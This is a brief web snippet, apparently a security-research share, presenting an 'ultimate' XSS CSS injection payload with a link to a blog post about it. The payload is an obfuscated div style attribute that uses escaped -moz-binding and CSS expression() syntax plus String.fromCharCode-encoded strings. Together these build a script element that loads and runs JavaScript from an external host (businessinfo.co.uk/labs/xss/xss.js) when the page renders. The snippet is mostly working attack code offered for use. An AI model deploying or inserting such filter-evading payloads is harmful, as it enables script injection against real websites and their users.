Ultimate XSS CSS injection Code: <div style="\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs \/xbl\/xbl\.xml\#xss);xx: e\ xp\re\s\s\ i\o\n((win dow.r!=1)  ? eval('x= String.fro mCharCode; scr=docume nt.createE lement(x(1 15,99,114, 105,112,11 6));scr.se tAttribute (x(115,114 ,99),x(104 ,116,116,1 12,58,47,4 7,98,117,1 15,105,110 ,101,115,1 15,105,110 ,102,111,4 6,99,111,4 6,117,107, 47,108,97, 98,115,47, 120,115,11 5,47,120,1 15,115,46, 106,115)); document.g etElementB yId(x( 105 ,110,106,1 01,99,116  )).appendC hild(scr); window.r=1 ;') : 1);" id="inject">test</div> More: http://www.thespanner.co.uk/2007/11/26/ultimate-xss-css-injection/